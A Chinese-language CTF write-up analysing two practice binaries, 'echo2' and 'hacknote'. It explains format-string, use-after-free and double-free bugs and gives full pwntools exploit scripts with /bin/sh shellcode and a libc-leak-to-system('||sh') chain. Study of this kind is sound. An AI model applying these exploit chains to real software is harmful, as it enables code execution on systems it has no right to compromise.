fmtstr_uaf
可执行文件为:echo2,尝试执行。
检查文件的安全检测。发现什么安全防护都没开。
反编译
使用IDA Pro进行反编译。
按 “\” 键,可以消除变量的类型,更简洁。
对于反编译的代码中,注意到有(_QWORD *),这是什么?表示指针,除此之外,还有_BYTE表示1字节,_WORD表示两字节,_DWORD,表示Double WORD,两倍的WORD,就是4字节。那么_QWORD,就是Quad WORD,四倍的WORD,就是8字节。小知识点,简单记一下。
这里的,greetings和byebye是函数对应地址,点击即可跳转。
*(o + 3) = greetings;,相当于是把greetings函数的地址,赋值给 o + 3 * 8 (byte) 地址处的值。
漏洞点
下面分别看一下echo1、echo2和echo3。
echo1如下:
1 2 3 4 int echo1 () { return puts ("not supported" ); }
echo2如下:
1 2 3 4 5 6 7 8 9 10 __int64 echo2 () { char format[32 ]; (*(o + 3 ))(o); get_input(format, 32 ); printf (format); (*(o + 4 ))(o); return 0 ; }
echo3如下:
1 2 3 4 5 6 7 8 9 10 11 12 __int64 echo3 () { char *s; (*(o + 3 ))(o); s = malloc (040u ); get_input(s, 32 ); puts (s); free (s); (*(o + 4 ))(o); return 0 ; }
很明显,在echo2中,直接使用了 printf(format),这里存在格式化字符串漏洞。
在echo2中,先是s = malloc(040u),然后进行了free(s),但是没有把s,置空,这里存在UAF漏洞。
然后再回到我们的main函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 int __fastcall main (int argc, const char **argv, const char **envp) { _QWORD *v3; unsigned int i; _QWORD v6[4 ]; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 1 , 0 ); o = malloc (40u ); *(o + 3 ) = greetings; *(o + 4 ) = byebye; printf ("hey, what's your name? : " ); __isoc99_scanf("%24s" , v6); v3 = o; *o = v6[0 ]; v3[1 ] = v6[1 ]; v3[2 ] = v6[2 ]; id = v6[0 ]; getchar(); func[0 ] = echo1; func_1_ = echo2; func_2_ = echo3; for ( i = 0 ; i != 121 ; i = getchar() ) { while ( 1 ) { while ( 1 ) { puts ("\n- select echo type -" ); puts ("- 1. : BOF echo" ); puts ("- 2. : FSB echo" ); puts ("- 3. : UAF echo" ); puts ("- 4. : exit" ); printf ("> " ); __isoc99_scanf("%d" , &i); getchar(); if ( i > 3 ) break ; (func[i - 1 ])(); } if ( i == 4 ) break ; puts ("invalid menu" ); } cleanup(); printf ("Are you sure you want to exit? (y/n)" ); } puts ("bye" ); return 0 ; }
注意到main函数中存在一个cleanup()函数,函数内容如下:
1 2 3 4 void cleanup () { free (o); }
问题就来了,先执行了cleanup函数,然后再进行判断printf("Are you sure you want to exit? (y/n)");,是否进行退出。如果不退出呢?不退出已经free(o)一次,到下一轮,会再free(o)一次,这就造成了double free漏洞。
尝试复现,使程序崩溃,如下:
这里就是成功触发了double free,造成了程序的崩溃。
如何去将格式化字符串漏洞、UAF和double free这三个漏洞串起来,实现获取shell呢?下面就慢慢分析。
漏洞复现
代码中的变量大致如下:
根据前面的checksec,发现stack是Executable,那么,直接向栈中写入shellcode,然后将返回地址的内容覆盖为shellcode的地址,这种是最简单的获取shell的方法。
这里scanf,输入24个字节,直接写入shellcode。shellcode存储到了v6地址处。
低于24字节的shellcode。
1 b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
泄露shellcode的真实地址
如何知道v6的真实地址是什么呢?这里就需要用到前面的格式化字符串漏洞了,使用该漏洞去泄露shellcode的真实地址。
函数调用栈大致如下:
main函数调用了echo2函数,echo2函数中存在格式化字符串漏洞,可泄露写入的shellcode地址。
现在的想法是,使用格式化字符串漏洞,就是上图中的format位置,去泄露prev ebp的内容,我们就可以拿到了ebp的地址,通过这个ebp去定位shellcode的真实地址。使用IDA Pro进行反编译的时候,这里已经标记了,v6也就是shellcode写入的地址在rbp - 20h位置,这样就可以定位到shellcode的地址了。
那么怎么通过格式化字符串漏洞,恰好输出,prev ebp的内容呢?下面尝试gdb进行动态调试观察。
断点b echo2,输入2进入到echo2函数中。这里我为了方便定位输入了AAAAAA,这个AAAAAA就是前面的shellcode的位置。
然后继续调试,进入到echo2函数中。get_input函数中,我输入了BBBBBB进行定位,这里就是格式化字符串漏洞输入点的位置。
这时候,我们去看栈中的内容,stack 20。
这里看AAAAAA这是前面的shellcode的位置,BBBBBB是格式化字符串漏的位置。
这里的0x7fffffffdd00就是前面图中画的rbp的地址,然后0x7fffffffdcc0就是前面图中画的prev rbp的地址,0x7fffffffdce0就是变量v6的地址,其内容就是AAAAAA,也就是前面图中的shellcode的地址,0x7fffffffdca0就是前面图中的format地址,格式化字符串漏洞的位置。这里的0x7fffffffdd00就是前面图中画的rbp的地址,和0x7fffffffdce0前面图中画的shellcode的地址之间,刚好差了0x7fffffffdd00 - 0x7fffffffdce0 = 0x20,这里就和IDA Pro反编译的rbp - 20h完全符合。
现在,我想要知道prev rbp的真实地址,发现其与format之间差了4个参数的位置,我们知道在x86-64架构中,printf优先输出的参数内容是先从6个默认的寄存器rdi, rsi, rdx, rcx, r8, r9,然后才是输出栈中的变量,栈中是4个变量的位置,那么通过printf(%10$p),即可输出prev rbp地址中的真实内容,这个内容也就是rbp的真实地址,使用rbp的真实地址减去0x20,即可确定了shellcode的地址。
返回地址的篡改
目前shellcode的地址已经可以获取到了,如何将shellcode写到返回地址中?
仔细查看IDA Pro反编译的结果,发现其实只需要用到UAF就可以实现返回地址的篡改了。
注意到main函数中的cleanup()函数,该函数为free(o),在输入的时候,输入4,直接执行cleanup(),这里只是free了o。
此时进入了下一个循环,我们输入3,进入到echo3函数中,如下:
1 2 3 4 5 6 7 8 9 10 11 12 __int64 echo3 () { char *s; (*(o + 3 ))(o); s = malloc (0x20u ); get_input (s, 32 ); puts (s); free (s); (*(o + 4 ))(o); return 0 ; }
在echo3()中(*(o + 3))(o);,其实就是调用了greetings函数,然后又malloc(0x20u);一个变量s。
我使用的Ubuntu版本使用的是glibc 2.35,对于free掉的chunk会在tcache中,这时候又malloc了一个0x20的内存,根据tcache的LIFO(Last In First Out)策略,对于新malloc的s,会复用原来的o的部分位置。注意,上图中只是o这个地址里的内容为v6[0],其并不影响原来的变量v6。
那么这里突破点就来了,可以通过覆盖greetings函数的返回地址,为shellcode的地址,然后再调用greetings函数,就可以获取shell了。
s = malloc(0x20u);的下一个就是输入 get_input(s, 32);,这里直接输入随机字符,覆盖o、o+1、o+2位置的值,然后再输入shellcode的地址,覆盖greetings的地址,也就是输入,24个字节+shellcode地址。
漏洞触发
执行到下一轮之后,随机选择一个echo2或者echo3都可以触发shellcode。
完整的poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 """ echo2 完整漏洞利用脚本 利用链: FSB泄露栈地址 + UAF覆盖函数指针 -> 执行shellcode获取shell 漏洞分析: - echo2: printf(format) 格式化字符串漏洞 -> 泄露栈地址 - echo3: free(s)后s未清空 -> UAF, malloc可能返回freed的o的chunk - cleanup: 选择4后free(o)但输入n继续循环 -> o成为dangling pointer - o结构: [o,o+1,0+2 24B][greetings 8B][byebye 8B] - 覆盖greetings后, 下次调用echo2会先执行greetings->shellcode """ from pwn import *import oscontext(arch='amd64' , os='linux' , log_level='info' ) context.terminal = ['tmux' , 'splitw' , '-h' ] BINARY = './echo2' def get_conn (): return process(BINARY, cwd=os.path.dirname(os.path.abspath(BINARY))) def main (): p = get_conn() elf = ELF(BINARY, checksec=False ) shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" p.recvuntil(b"hey, what's your name? : " ) p.sendline(shellcode) p.recvuntil(b"> " ) p.sendline(b"2" ) p.recvuntil(b"hello " ) p.recvline() payload = b"%10$p" + b"AAA" p.sendline(payload) p.recvuntil(b"0x" ) leaked = p.recvuntil(b'AAA' , drop=True ) shellcode_addr = int (leaked, 16 ) - 0x20 log.success(f"Leaked: 0x{leaked.decode()} " ) log.success(f"Shellcode addr: {hex (shellcode_addr)} " ) p.recvuntil(b"> " ) p.sendline(b"4" ) p.recvuntil(b"to exit? (y/n)" ) p.sendline(b"n" ) p.recvuntil(b"> " ) p.sendline(b"3" ) p.recvuntil(b"hello " ) p.recvline() payload = flat(b"A" * 24 , shellcode_addr) p.sendline(payload) p.recvuntil(b"> " ) p.sendline(b"2" ) p.interactive() if __name__ == "__main__" : main()
执行脚本,获取shell。
hacknote
运行hacknote文件
检查文件的安全配置。
发现启用了canary且栈是不可执行的。
反编译
这是一个去除了符号表的可执行文件。
根据可执行文件的内容和功能,对反编译后的结果进行编辑,便于理解:
main函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 void __noreturn main () { int v0; char buf[4 ]; unsigned int v2; v2 = __readgsdword(0x14u ); setvbuf (stdout, 0 , 2 , 0 ); setvbuf (stdin, 0 , 2 , 0 ); while ( 1 ) { while ( 1 ) { menu (); read (0 , buf, 4u ); v0 = atoi (buf); if ( v0 != 2 ) break ; delete (); } if ( v0 > 2 ) { if ( v0 == 3 ) { print (); } else { if ( v0 == 4 ) exit (0 ); LABEL_13: puts ("Invalid choice" ); } } else { if ( v0 != 1 ) goto LABEL_13; add (); } } }
add函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned int add () { _DWORD *current_control_chunk; int i; int size; char buf[8 ]; unsigned int v5; v5 = __readgsdword(0x14u ); if ( note_count <= 5 ) { for ( i = 0 ; i <= 4 ; ++i ) { if ( !note_ptr_array[i] ) { note_ptr_array[i] = malloc (8u ); if ( !note_ptr_array[i] ) { puts ("Alloca Error" ); exit (-1 ); } *note_ptr_array[i] = sub_804862B; printf ("Note size :" ); read (0 , buf, 8u ); size = atoi (buf); current_control_chunk = note_ptr_array[i]; current_control_chunk[1 ] = malloc (size); if ( !*(note_ptr_array[i] + 1 ) ) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read (0 , *(note_ptr_array[i] + 1 ), size); puts ("Success !" ); ++note_count; return __readgsdword(0x14u ) ^ v5; } } } else { puts ("Full" ); } return __readgsdword(0x14u ) ^ v5; }
delete函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned int delete () { int index; char buf[4 ]; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Index :" ); read (0 , buf, 4u ); index = atoi (buf); if ( index < 0 || index >= note_content ) { puts ("Out of bound!" ); _exit(0 ); } if ( note_ptr_array[index] ) { free (*(note_ptr_array[index] + 1 )); free (note_ptr_array[index]); puts ("Success" ); } return __readgsdword(0x14u ) ^ v3; }
print函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned int print () { int v1; char buf[4 ]; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Index :" ); read (0 , buf, 4u ); v1 = atoi (buf); if ( v1 < 0 || v1 >= note_content ) { puts ("Out of bound!" ); _exit(0 ); } if ( note_ptr_array[v1] ) (*note_ptr_array[v1])(note_ptr_array[v1]); return __readgsdword(0x14u ) ^ v3; }
add函数逻辑
下面主要看一下add函数的逻辑。
创建了一个note笔记的数组,这个数组的数量不超过5个。对于创建的数组元素,先是申请了8字节的空间,也就是2个word的空间,这个可执行文件是32位的。
再继续看,这8个字节是怎么用的。
对于代码*note_ptr_array[i] = put,note_ptr_array[i]本身是一个指针,这个指针指向一个地址。现在进行解引用 ,将该指针指向的地址位置的值,修改为put函数的地址。因为是32位的,所以note_ptr_array[i]指针所指向的地址的值也是32位,占据了4字节。
继续向下看,使用read函数读取了一个size,然后使用
1 2 current_control_chunk = note_ptr_array[i]; current_control_chunk[1 ] = malloc (size);
这里相当于给note_ptr_array[i]的后4字节,分配了一个size大小的chunk。
分析到这里,清楚的了解到了add函数的逻辑。
delete函数逻辑
下面继续看delete函数的逻辑。
先free掉size大小的内容,然后再free掉8字节的内容。这里发现只是free了内存,但是没有清空内存,这里是存在UAF漏洞的。
漏洞利用
下面去思考🤔,如何进行漏洞的利用?
整个程序的基本逻辑如下:
主要的问题点前面已经看到了,在delete函数中。假设我们add了2个note,然后每个note的size大小为16字节,然后再去把note执行delete函数,delete掉note的0和1,这里看程序的逻辑会变成什么样子。
因为我使用的libc版本为2.35,所以这里free的chunk会放到tcache中。
再来思考🤔,当free掉了malloc的8字节和16字节,会如何放到Bin中进行管理?
在32位系统中,chunk的大小计算是这样的:
malloc(8) -> 实际chunk大小 = 8 (请求) + 8 (头部) + 8 (对齐) = 24字节
malloc(16) -> 实际chunk大小 = 16 (请求) + 8 (头部) + 8 (对齐) = 32字节
这样的话,就变成了如下图这样:
我还使用了gdb进行了调试,调试的tcache如下:
符合分析的预期。
delete掉note的0和1之后,此时再去add一个note,add一个size为8字节的note,就变成了下面的样子。
add函数是malloc了两个8字节的chunk,这就会去tcache中找chunk,刚好前面delete函数free的chunk满足条件。
注意观察这里的代码逻辑,这现在有了写入的条件了,还差调用写入内容的地方。此时,我们想到了前面的print函数,print函数输出note 0,这里就可以调用我们写入的内容了。
到这里,写入和调用写入都有了,想想怎么串起来去获取shell?🤔
获取shell,需要system函数,现在我们不知道system函数的真实地址是什么,而且可执行文件是启用了ASLR的,无法直接获取到system函数的真实地址。
那么这里就使用之前学到的,利用got表获取函数的真实地址,然后计算基地址,进而得到system函数的真实地址。
那么这里就通过puts函数去获取真实的函数地址,因为可执行文件没有启用PIE,直接IDA,获取puts的地址。
然后将got["read"],作为puts函数的参数值,即可获取到read函数的真实地址。
获取read函数的真实地址,就可以获取到了system函数的真实地址。拿到了system函数的真实地址了,怎么去用呢?🤔
一样的再delete掉note 2,这时候的tcache bin中两个8字节的chunk又空了下来,继续add一个size为8的chunk,写入system函数,然后调用print函数,输出note 0就可以了,执行system函数就行了。
这里有一个细节点要注意,为什么system函数传入的内容为|| sh ?
我们回头仔细看看print函数的内容。
对于代码:
1 (*note_ptr_array[v1])(note_ptr_array[v1]);
对于IDA反编译的结果:()(),相当于(函数地址)(函数的参数),这就相当于函数的调用。
这就很清楚了,*note_ptr_array[v1]为system函数的地址,note_ptr_array[v1]为参数值,这里的note_ptr_array[v1]包含了函数的真实地址+参数值。
即函数的调用为:system("0x000aaabb || sh"),只有使用||,才会把sh执行了。
那么思路理清楚了,直接给出hacknote_poc.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *context(log_level='debug' , arch='i386' , os='linux' ) DIR = os.path.join(os.path.dirname(__file__), '..' , 'practices' , 'pwnable.tw hacknote' ) elf = ELF(os.path.join(DIR, 'hacknote' )) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) p = process('./hacknote' , cwd=DIR) def add_note (size, content ): p.recvuntil(b"choice :" ) p.sendline(b"1" ) p.recvuntil(b"size :" ) p.sendline(size) p.recvuntil(b"Content :" ) p.sendline(content) def delete_note (index ): p.recvuntil(b"choice :" ) p.sendline(b"2" ) p.recvuntil(b"Index :" ) p.sendline(index) def print_note (index ): p.recvuntil(b"choice :" ) p.sendline(b"3" ) p.recvuntil(b"Index :" ) p.sendline(index) def exit (): p.recvuntil(b"choice :" ) p.sendline(b"4" ) add_note(b'16' , b"aaaa" ) add_note(b'16' , b"aaaa" ) delete_note(b'0' ) delete_note(b'1' ) puts_addr = 0x0804862B read_got_addr = elf.got["read" ] add_note(b'8' , p32(puts_addr) + p32(read_got_addr)) print_note(b'0' ) read_address = u32(p.recv(4 )) print (read_address)libc_base = read_address - libc.symbols["read" ] system_address = libc_base + libc.symbols["system" ] delete_note(b'2' ) add_note(b'8' , p32(system_address) + b'||sh' ) print_note(b'0' ) p.interactive()
执行脚本:
参考